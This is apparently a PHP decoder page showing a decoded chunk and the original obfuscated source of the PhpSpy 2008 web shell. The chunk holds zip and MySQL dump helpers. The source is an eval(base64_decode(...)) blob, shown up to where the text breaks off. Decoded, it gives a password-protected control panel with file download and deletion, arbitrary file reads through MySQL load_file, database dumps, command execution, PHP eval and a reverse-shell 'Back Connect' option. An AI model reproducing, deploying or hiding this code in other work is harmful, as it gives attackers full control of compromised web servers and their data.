					. '\x' . $dtime[0] . $dtime[1];

		eval('$hexdtime = "' . $hexdtime . '";');

		$fr	= "\x50\x4b\x03\x04";

		$fr	.= "\x14\x00";

		$fr	.= "\x00\x00";

		$fr	.= "\x08\x00";

		$fr	.= $hexdtime;



		$unc_len = strlen($data);

		$crc = crc32($data);

		$zdata = gzcompress($data);

		$c_len = strlen($zdata);

		$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);

		$fr .= pack('V', $crc);

		$fr .= pack('V', $c_len);

		$fr .= pack('V', $unc_len);

		$fr .= pack('v', strlen($name));

		$fr .= pack('v', 0);

		$fr .= $name;

		$fr .= $zdata;

		$fr .= pack('V', $crc);

		$fr .= pack('V', $c_len);

		$fr .= pack('V', $unc_len);



		$this -> datasec[] = $fr;

		$new_offset = strlen(implode('', $this->datasec));



		$cdrec = "\x50\x4b\x01\x02";

		$cdrec .= "\x00\x00";

		$cdrec .= "\x14\x00";

		$cdrec .= "\x00\x00";

		$cdrec .= "\x08\x00";

		$cdrec .= $hexdtime;

		$cdrec .= pack('V', $crc);

		$cdrec .= pack('V', $c_len);

		$cdrec .= pack('V', $unc_len);

		$cdrec .= pack('v', strlen($name) );

		$cdrec .= pack('v', 0 );

		$cdrec .= pack('v', 0 );

		$cdrec .= pack('v', 0 );

		$cdrec .= pack('v', 0 );

		$cdrec .= pack('V', 32 );

		$cdrec .= pack('V', $this -> old_offset );

		$this -> old_offset = $new_offset;

		$cdrec .= $name;



		$this -> ctrl_dir[] = $cdrec;

	}



	function file() {

		$data    = implode('', $this -> datasec);

		$ctrldir = implode('', $this -> ctrl_dir);

		return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .	pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";

	}

}



// ?????

function sqldumptable($table, $fp=0) {

	$tabledump = "DROP TABLE IF EXISTS $table;\n";

	$tabledump .= "CREATE TABLE $table (\n";



	$firstfield=1;



	$fields = q("SHOW FIELDS FROM $table");

	while ($field = mysql_fetch_array($fields)) {

		if (!$firstfield) {

			$tabledump .= ",\n";

		} else {

			$firstfield=0;

		}

		$tabledump .= "   $field[Field] $field[Type]";

		if (!empty($field["Default"])) {

			$tabledump .= " DEFAULT '$field[Default]'";

		}

		if ($field['Null'] != "YES") {

			$tabledump .= " NOT NULL";

		}

		if ($field['Extra'] != "") {

			$tabledump .= " $field[Extra]";

		}

	}

	fr($fields);



	$keys = q("SHOW KEYS FROM $table");

	while ($key = mysql_fetch_array($keys)) {

		$kname=$key['Key_name'];

		if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {

			$kname="UNIQUE|$kname";

		}

		if(!is_array($index[$kname])) {

			$index[$kname] = array();

		}

		$index[$kname][] = $key['Column_name'];

	}

	fr($keys);



	while(list($kname, $columns) = @each($index)) {

		$tabledump .= ",\n";

		$colnames=implode($columns,",");



		if ($kname == "PRIMARY") {

			$tabledump .= "   PRIMARY KEY ($colnames)";

		} else {

			if (substr($kname,0,6) == "UNIQUE") {

				$kname=substr($kname,7);

			}

			$tabledump .= "   KEY $kname ($colnames)";

		}

	}



	$tabledump .= "\n);\n\n";

	if ($fp) {

		fwrite($fp,$tabledump);

	} else {

		echo $tabledump;

	}



	$rows = q("SELECT * FROM $table");

	$numfields = mysql_num_fields($rows);

	while ($row = mysql_fetch_array($rows)) {

		$tabledump = "INSERT INTO $table VALUES(";



		$fieldcounter=-1;

		$firstfield=1;

		while (++$fieldcounter<$numfields) {

			if (!$firstfield) {

				$tabledump.=", ";

			} else {

				$firstfield=0;

			}



			if (!isset($row[$fieldcounter])) {

				$tabledump .= "NULL";

			} else {

				$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";

			}

		}



		$tabledump .= ");\n";



		if ($fp) {

			fwrite($fp,$tabledump);

		} else {

			echo $tabledump;

		}

	}

	fr($rows);

	if ($fp) {

		fwrite($fp,"\n");

	} else {

		echo "\n";

	}

}



function ue($str){

	return urlencode($str);

}



function p($str){

	echo $str."\n";

}



function tbhead() {

	p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');

}

function tbfoot(){

	p('</table>');

}



function makehide($name,$value=''){

	p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");

}



function makeinput($arg = array()){

	$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";

	$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';

	!$arg['type'] && $arg['type'] = 'text';

	$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';

	$arg['class'] = $arg['class'] ? $arg['class'] : 'input';

	if ($arg['newline']) {

		p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");

	} else {

		p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");

	}

}



function makeselect($arg = array()){

	if ($arg['onchange']) {

		$onchange = 'onchange="'.$arg['onchange'].'"';

	}

	$arg['title'] = $arg['title'] ? $arg['title'] : '';

	if ($arg['newline']) p('<p>');

	p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");

		if (is_array($arg['option'])) {

			foreach ($arg['option'] as $key=>$value) {

				if ($arg['selected']==$key) {

					p("<option value=\"$key\" selected>$value</option>");

				} else {

					p("<option value=\"$key\">$value</option>");

				}

			}

		}

	p("</select>");

	if ($arg['newline']) p('</p>');

}

function formhead($arg = array()) {

	!$arg['method'] && $arg['method'] = 'post';

	!$arg['action'] && $arg['action'] = $self;

	$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';

	!$arg['name'] && $arg['name'] = 'form1';

	p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");

	if ($arg['title']) {

		p('<h2>'.$arg['title'].' &raquo;</h2>');

	}

}

	

function maketext($arg = array()){

	!$arg['cols'] && $arg['cols'] = 100;

	!$arg['rows'] && $arg['rows'] = 25;

	$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';

	p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");

}



function formfooter($name = ''){

	!$name && $name = 'submit';

	p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');

	p('</form>');

}



function formfoot(){

	p('</form>');

}



// ????

function pr($a) {

	echo '<pre>';

	print_r($a);

	echo '</pre>';

}



?>

</td></tr></table>





</td></tr>



</tr>

</table>

Did this file decode correctly?

Original Code

eval(base64_decode('PD9waHANCg0KDQplcnJvcl9yZXBvcnRpbmcoNyk7DQoNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQoNCm9iX3N0YXJ0KCk7DQoNCiRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQoNCiRzdGFydHRpbWUgPSAkbXRpbWVbMV0gKyAkbXRpbWVbMF07DQoNCmRlZmluZSgnU0FfUk9PVCcsIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgZGlybmFtZShfX0ZJTEVfXykpLicvJyk7DQoNCi8vZGVmaW5lKCdJU19XSU4nLCBzdHJzdHIoUEhQX09TLCAnV0lOJykgPyAxIDogMCApOw0KDQpkZWZpbmUoJ0lTX1dJTicsIERJUkVDVE9SWV9TRVBBUkFUT1IgPT0gJ1xcJyk7DQoNCmRlZmluZSgnSVNfQ09NJywgY2xhc3NfZXhpc3RzKCdDT00nKSA/IDEgOiAwICk7DQoNCmRlZmluZSgnSVNfR1BDJywgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSk7DQoNCiRkaXNfZnVuYyA9IGdldF9jZmdfdmFyKCdkaXNhYmxlX2Z1bmN0aW9ucycpOw0KDQpkZWZpbmUoJ0lTX1BIUElORk8nLCAoIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/IDEgOiAwICk7DQoNCkBzZXRfdGltZV9saW1pdCgwKTsNCg0KDQoNCmZvcmVhY2goYXJyYXkoJ19HRVQnLCdfUE9TVCcpIGFzICRfcmVxdWVzdCkgew0KDQoJZm9yZWFjaCgkJF9yZXF1ZXN0IGFzICRfa2V5ID0+ICRfdmFsdWUpIHsNCg0KCQlpZiAoJF9rZXl7MH0gIT0gJ18nKSB7DQoNCgkJCWlmIChJU19HUEMpIHsNCg0KCQkJCSRfdmFsdWUgPSBzX2FycmF5KCRfdmFsdWUpOw0KDQoJCQl9DQoNCgkJCSQkX2tleSA9ICRfdmFsdWU7DQoNCgkJfQ0KDQoJfQ0KDQp9DQoNCg0KDQovKj09PT09PT09PT09PT09PT09PT09PSA/Pz8/ID09PT09PT09PT09PT09PT09PT09PSovDQoNCiRhZG1pbiA9IGFycmF5KCk7DQoNCi8vID8/Pz8/Pz8/LCB0cnVlID8/Pz8/LCBmYWxzZSA/Pz8/Py4/Pz8/Pz8/DQoNCiRhZG1pblsnY2hlY2snXSA9IGZhbHNlOw0KDQovLyA/Pz8/Pz8/Pyw/Pz8/Pz8/DQoNCiRhZG1pblsncGFzcyddICA9ICdoYWNrJzsNCg0KDQoNCi8vPz8/IGNvb2tpZSA/Pz8/Pz8/Pz8sID8/Pz8/PywgPz8/Pz8/PywgPz8/Pz8/Pw0KDQovLyBjb29raWUgPz8NCg0KJGFkbWluWydjb29raWVwcmUnXSA9ICcnOw0KDQovLyBjb29raWUgPz8/DQoNCiRhZG1pblsnY29va2llZG9tYWluJ10gPSAnJzsNCg0KLy8gY29va2llID8/Pz8NCg0KJGFkbWluWydjb29raWVwYXRoJ10gPSAnLyc7DQoNCi8vIGNvb2tpZSA/Pz8NCg0KJGFkbWluWydjb29raWVsaWZlJ10gPSA4NjQwMDsNCg0KLyo9PT09PT09PT09PT09PT09PT09PT0gPz8/PyA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQoNCg0KaWYgKCRjaGFyc2V0ID09ICd1dGY4Jykgew0KDQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOw0KDQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2JpZzUnKSB7DQoNCgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiKTsNCg0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdnYmsnKSB7DQoNCgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWdiayIpOw0KDQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2xhdGluMScpIHsNCg0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMiIpOw0KDQp9DQoNCg0KDQokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddID8gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gOiAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXTsNCg0KJHRpbWVzdGFtcCA9IHRpbWUoKTsNCg0KDQoNCi8qPT09PT09PT09PT09PT09PT09PT09ID8/Pz8gPT09PT09PT09PT09PT09PT09PT09Ki8NCg0KaWYgKCRhY3Rpb24gPT0gImxvZ291dCIpIHsNCg0KCXNjb29raWUoJ3BocHNweXBhc3MnLCAnJywgLTg2NDAwICogMzY1KTsNCg0KCXAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPScuJHNlbGYuJyI+Jyk7DQoNCglwKCc8YSBzdHlsZT0iZm9udDoxMnB4IFZlcmRhbmEiIGhyZWY9IicuJHNlbGYuJyI+U3VjY2VzczwvYT4nKTsNCg0KCWV4aXQ7DQoNCn0NCg0KaWYoJGFkbWluWydjaGVjayddKSB7DQoNCglpZiAoJGRvaW5nID09ICdsb2dpbicpIHsNCg0KCQlpZiAoJGFkbWluWydwYXNzJ10gPT0gJHBhc3N3b3JkKSB7DQoNCgkJCXNjb29raWUoJ3BocHNweXBhc3MnLCAkcGFzc3dvcmQpOw0KDQoJCQlwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0nLiRzZWxmLiciPicpOw0KDQoJCQlwKCc8YSBzdHlsZT0iZm9udDoxMnB4IFZlcmRhbmEiIGhyZWY9IicuJHNlbGYuJyI+U3VjY2VzczwvYT4nKTsNCg0KCQkJZXhpdDsNCg0KCQl9DQoNCgl9DQoNCglpZiAoJF9DT09LSUVbJ3BocHNweXBhc3MnXSkgew0KDQoJCWlmICgkX0NPT0tJRVsncGhwc3B5cGFzcyddICE9ICRhZG1pblsncGFzcyddKSB7DQoNCgkJCWxvZ2lucGFnZSgpOw0KDQoJCX0NCg0KCX0gZWxzZSB7DQoNCgkJbG9naW5wYWdlKCk7DQoNCgl9DQoNCn0NCg0KLyo9PT09PT09PT09PT09PT09PT09PT0gPz8/PyA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQoNCg0KJGVycm1zZyA9ICcnOw0KDQoNCg0KLy8gPz9QSFBJTkZPDQoNCmlmICgkYWN0aW9uID09ICdwaHBpbmZvJykgew0KDQoJaWYgKElTX1BIUElORk8pIHsNCg0KCQlwaHBpbmZvKCk7DQoNCgl9IGVsc2Ugew0KDQoJCSRlcnJtc2cgPSAncGhwaW5mbygpIGZ1bmN0aW9uIGhhcyBub24tcGVybWlzc2libGUnOw0KDQoJfQ0KDQp9DQoNCg0KDQovLyA/Pz8/DQoNCmlmICgkZG9pbmcgPT0gJ2Rvd25maWxlJyAmJiAkdGhlZmlsZSkgew0KDQoJaWYgKCFAZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7DQoNCgkJJGVycm1zZyA9ICdUaGUgZmlsZSB5b3Ugd2FudCBEb3dubG9hZGFibGUgd2FzIG5vbmV4aXN0ZW50JzsNCg0KCX0gZWxzZSB7DQoNCgkJJGZpbGVpbmZvID0gcGF0aGluZm8oJHRoZWZpbGUpOw0KDQoJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7DQoNCgkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlaW5mb1snYmFzZW5hbWUnXSk7DQoNCgkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5maWxlc2l6ZSgkdGhlZmlsZSkpOw0KDQoJCUByZWFkZmlsZSgkdGhlZmlsZSk7DQoNCgkJZXhpdDsNCg0KCX0NCg0KfQ0KDQoNCg0KLy8gPz8/Pz8/Pz8/DQoNCmlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAhJHNhdmVhc2ZpbGUpIHsNCg0KCWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7DQoNCgkkdGFibGUgPSBhcnJheV9mbGlwKCR0YWJsZSk7DQoNCgkkcmVzdWx0ID0gcSgiU0hPVyB0YWJsZXMiKTsNCg0KCWlmICghJHJlc3VsdCkgcCgnPGgyPicubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsNCg0KCSRmaWxlbmFtZSA9IGJhc2VuYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXS4nX015U1FMLnNxbCcpOw0KDQoJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3Vua25vd24nKTsNCg0KCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZW5hbWUpOw0KDQoJJG15c3FsZGF0YSA9ICcnOw0KDQoJd2hpbGUgKCRjdXJyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgew0KDQoJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7DQoNCgkJCSRteXNxbGRhdGEgLj0gc3FsZHVtcHRhYmxlKCRjdXJyb3dbMF0pOw0KDQoJCX0NCg0KCX0NCg0KCW15c3FsX2Nsb3NlKCk7DQoNCglleGl0Ow0KDQp9DQoNCg0KDQovLyA/P01ZU1FMPz8/Pw0KDQppZigkZG9pbmc9PSdteXNxbGRvd24nKXsNCg0KCWlmICghJGRibmFtZSkgew0KDQoJCSRlcnJtc2cgPSAnUGxlYXNlIGlucHV0IGRibmFtZSc7DQoNCgl9IGVsc2Ugew0KDQoJCWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7DQoNCgkJaWYgKCFmaWxlX2V4aXN0cygkbXlzcWxkbGZpbGUpKSB7DQoNCgkJCSRlcnJtc2cgPSAnVGhlIGZpbGUgeW91IHdhbnQgRG93bmxvYWRhYmxlIHdhcyBub25leGlzdGVudCc7DQoNCgkJfSBlbHNlIHsNCg0KCQkJJHJlc3VsdCA9IHEoInNlbGVjdCBsb2FkX2ZpbGUoJyRteXNxbGRsZmlsZScpOyIpOw0KDQoJCQlpZighJHJlc3VsdCl7DQoNCgkJCQlxKCJEUk9QIFRBQkxFIElGIEVYSVNUUyB0bXBfYW5nZWw7Iik7DQoNCgkJCQlxKCJDUkVBVEUgVEFCTEUgdG1wX2FuZ2VsIChjb250ZW50IExPTkdCTE9CIE5PVCBOVUxMKTsiKTsNCg0KCQkJCS8vPz8/Pz8/Pz8/LD8/Pz8/Pz8/Pz8/X19hbmdlbF8xMTExMTExMTExX2VvZl9fPz8/Pz8/Pz8/Pw0KDQoJCQkJcSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSAnIi5hZGRzbGFzaGVzKCRteXNxbGRsZmlsZSkuIicgSU5UTyBUQUJMRSB0bXBfYW5nZWwgRklFTERTIFRFUk1JTkFURUQgQlkgJ19fYW5nZWxfeyR0aW1lc3RhbXB9X2VvZl9fJyBFU0NBUEVEIEJZICcnIExJTkVTIFRFUk1JTkFURUQgQlkgJ19fYW5nZWxfeyR0aW1lc3RhbXB9X2VvZl9fJzsiKTsNCg0KCQkJCSRyZXN1bHQgPSBxKCJzZWxlY3QgY29udGVudCBmcm9tIHRtcF9hbmdlbCIpOw0KDQoJCQkJcSgiRFJPUCBUQUJMRSB0bXBfYW5nZWwiKTsNCg0KCQkJfQ0KDQoJCQkkcm93ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOw0KDQoJCQlpZiAoISRyb3cpIHsNCg0KCQkJCSRlcnJtc2cgPSAnTG9hZCBmaWxlIGZhaWxlZCAnLm15c3FsX2Vycm9yKCk7DQoNCgkJCX0gZWxzZSB7DQoNCgkJCQkkZmlsZWluZm8gPSBwYXRoaW5mbygkbXlzcWxkbGZpbGUpOw0KDQoJCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWluZm9bJ2V4dGVuc2lvbiddKTsNCg0KCQkJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOw0KDQoJCQkJaGVhZGVyKCJBY2NlcHQtTGVuZ3RoOiAiLnN0cmxlbigkcm93WzBdKSk7DQoNCgkJCQllY2hvICRyb3dbMF07DQoNCgkJCQlleGl0Ow0KDQoJCQl9DQoNCgkJfQ0KDQoJfQ0KDQp9DQoNCg0KDQo/Pg0KDQo8aHRtbD4NCg0KPGhlYWQ+DQoNCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWdiayI+DQoNCjx0aXRsZT48P3BocCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywnUC5oLnAuUy5wLnknKTs/PjwvdGl0bGU+DQoNCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoNCmJvZHksdGR7Zm9udDogMTJweCBBcmlhbCxUYWhvbWE7bGluZS1oZWlnaHQ6IDE2cHg7fQ0KDQouaW5wdXR7Zm9udDoxMnB4IEFyaWFsLFRhaG9tYTtiYWNrZ3JvdW5kOiNmZmY7Ym9yZGVyOiAxcHggc29saWQgIzY2NjtwYWRkaW5nOjJweDtoZWlnaHQ6MjJweDt9DQoNCi5hcmVhe2ZvbnQ6MTJweCAnQ291cmllciBOZXcnLCBNb25vc3BhY2U7YmFja2dyb3VuZDojZmZmO2JvcmRlcjogMXB4IHNvbGlkICM2NjY7cGFkZGluZzoycHg7fQ0KDQouYnQge2JvcmRlci1jb2xvcjojYjBiMGIwO2JhY2tncm91bmQ6IzNkM2QzZDtjb2xvcjojZmZmZmZmO2ZvbnQ6MTJweCBBcmlhbCxUYWhvbWE7aGVpZ2h0OjIycHg7fQ0KDQphIHtjb2xvcjogIzAwZjt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO30NCg0KYTpob3Zlcntjb2xvcjogI2YwMDt0ZXh0LWRlY29yYXRpb246bm9uZTt9DQoNCi5hbHQxIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmMWYxZjE7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCg0KLmFsdDIgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkO2JhY2tncm91bmQ6I2Y5ZjlmOTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KDQouZm9jdXMgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkO2JhY2tncm91bmQ6I2ZmZmZhYTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KDQouaGVhZCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZTllOWU5O3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdlaWdodDpib2xkO30NCg0KLmhlYWQgdGQgc3Bhbntmb250LXdlaWdodDpub3JtYWw7fQ0KDQpmb3Jte21hcmdpbjowO3BhZGRpbmc6MDt9DQoNCmgye21hcmdpbjowO3BhZGRpbmc6MDtoZWlnaHQ6MjRweDtsaW5lLWhlaWdodDoyNHB4O2ZvbnQtc2l6ZToxNHB4O2NvbG9yOiM1QjY4NkY7fQ0KDQp1bC5pbmZvIGxpe21hcmdpbjowO2NvbG9yOiM0NDQ7bGluZS1oZWlnaHQ6MjRweDtoZWlnaHQ6MjRweDt9DQoNCnV7dGV4dC1kZWNvcmF0aW9uOiBub25lO2NvbG9yOiM3Nzc7ZmxvYXQ6bGVmdDtkaXNwbGF5OmJsb2NrO3dpZHRoOjE1MHB4O21hcmdpbi1yaWdodDoxMHB4O30NCg0KPC9zdHlsZT4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KDQpmdW5jdGlvbiBDaGVja0FsbChmb3JtKSB7DQoNCglmb3IodmFyIGk9MDtpPGZvcm0uZWxlbWVudHMubGVuZ3RoO2krKykgew0KDQoJCXZhciBlID0gZm9ybS5lbGVtZW50c1tpXTsNCg0KCQlpZiAoZS5uYW1lICE9ICdjaGthbGwnKQ0KDQoJCWUuY2hlY2tlZCA9IGZvcm0uY2hrYWxsLmNoZWNrZWQ7DQoNCiAgICB9DQoNCn0NCg0KZnVuY3Rpb24gJChpZCkgew0KDQoJcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKTsNCg0KfQ0KDQpmdW5jdGlvbiBnb2FjdGlvbihhY3Qpew0KDQoJJCgnZ29hY3Rpb24nKS5hY3Rpb24udmFsdWU9YWN0Ow0KDQoJJCgnZ29hY3Rpb24nKS5zdWJtaXQoKTsNCg0KfQ0KDQo8L3NjcmlwdD4NCg0KPC9oZWFkPg0KDQo8Ym9keSBzdHlsZT0ibWFyZ2luOjA7dGFibGUtbGF5b3V0OmZpeGVkOyB3b3JkLWJyZWFrOmJyZWFrLWFsbCI+DQoNCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPg0KDQoJPHRyIGNsYXNzPSJoZWFkIj4NCg0KCQk8dGQ+PHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+PGEgaHJlZj0iaHR0cDovL3d3dy40bmdlbC5uZXQudHIiIHRhcmdldD0iX2JsYW5rIj48P3BocCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywnUC5oLnAuUy5wLnknKTs/PiBWZXI6IDIwMDg8L2E+PC9zcGFuPjw/cGhwIGVjaG8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOz8+ICg8P3BocCBlY2hvIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pOz8+KTwvdGQ+DQoNCgk8L3RyPg0KDQoJPHRyIGNsYXNzPSJhbHQxIj4NCg0KCQk8dGQ+PHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+U2FmZSBNb2RlOjw/cGhwIGVjaG8gZ2V0Y2ZnKCdzYWZlX21vZGUnKTs/Pjwvc3Bhbj4NCg0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignbG9nb3V0Jyk7Ij5Mb2dvdXQ8L2E+IHwgDQoNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2ZpbGUnKTsiPkZpbGUgTWFuYWdlcjwvYT4gfCANCg0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsYWRtaW4nKTsiPk15U1FMIE1hbmFnZXI8L2E+IHwgDQoNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NxbGZpbGUnKTsiPk15U1FMIFVwbG9hZCAmYW1wOyBEb3dubG9hZDwvYT4gfCANCg0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc2hlbGwnKTsiPkV4ZWN1dGUgQ29tbWFuZDwvYT4gfCANCg0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbigncGhwZW52Jyk7Ij5QSFAgVmFyaWFibGU8L2E+IHwgDQoNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2V2YWwnKTsiPkV2YWwgUEhQIENvZGU8L2E+DQoNCgkJCTw/cGhwIGlmICghSVNfV0lOKSB7Pz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdiYWNrY29ubmVjdCcpOyI+QmFjayBDb25uZWN0PC9hPjw/cGhwIH0/Pg0KDQoJCTwvdGQ+DQoNCgk8L3RyPg0KDQo8L3RhYmxlPg0KDQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjE1IiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD4NCg0KPD9waHANCg0KDQoNCmZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2dvYWN0aW9uJykpOw0KDQptYWtlaGlkZSgnYWN0aW9uJyk7DQoNCmZvcm1mb290KCk7DQoNCg0KDQokZXJybXNnICYmIG0oJGVycm1zZyk7DQoNCg0KDQovLyA/Pz8/Pz8NCg0KISRkaXIgJiYgJGRpciA9ICcuJzsNCg0KJG5vd3BhdGggPSBnZXRQYXRoKFNBX1JPT1QsICRkaXIpOw0KDQppZiAoc3Vic3RyKCRkaXIsIC0xKSAhPSAnLycpIHsNCg0KCSRkaXIgPSAkZGlyLicvJzsNCg0KfQ0KDQokdWVkaXIgPSB1ZSgkZGlyKTsNCg0KDQoNCmlmICghJGFjdGlvbiB8fCAkYWN0aW9uID09ICdmaWxlJykgew0KDQoNCg0KCS8vID8/Pz8/Pw0KDQoJJGRpcl93cml0ZWFibGUgPSBAaXNfd3JpdGFibGUoJG5vd3BhdGgpID8gJ1dyaXRhYmxlJyA6ICdOb24td3JpdGFibGUnOw0KDQoNCg0KCS8vID8/Pz8NCg0KCWlmICgkZG9pbmcgPT0gJ2RlbGRpcicgJiYgJHRoZWZpbGUpIHsNCg0KCQlpZiAoIWZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgew0KDQoJCQltKCR0aGVmaWxlLicgZGlyZWN0b3J5IGRvZXMgbm90IGV4aXN0Jyk7DQoNCgkJfSBlbHNlIHsNCg0KCQkJbSgnRGlyZWN0b3J5IGRlbGV0ZSAnLihkZWx0cmVlKCR0aGVmaWxlKSA/IGJhc2VuYW1lKCR0aGVmaWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCg0KCQl9DQoNCgl9DQoNCg0KDQoJLy8gPz8/Pw0KDQoJZWxzZWlmICgkbmV3ZGlybmFtZSkgew0KDQoJCSRta2RpcnMgPSAkbm93cGF0aC4kbmV3ZGlybmFtZTsNCg0KCQlpZiAoZmlsZV9leGlzdHMoJG1r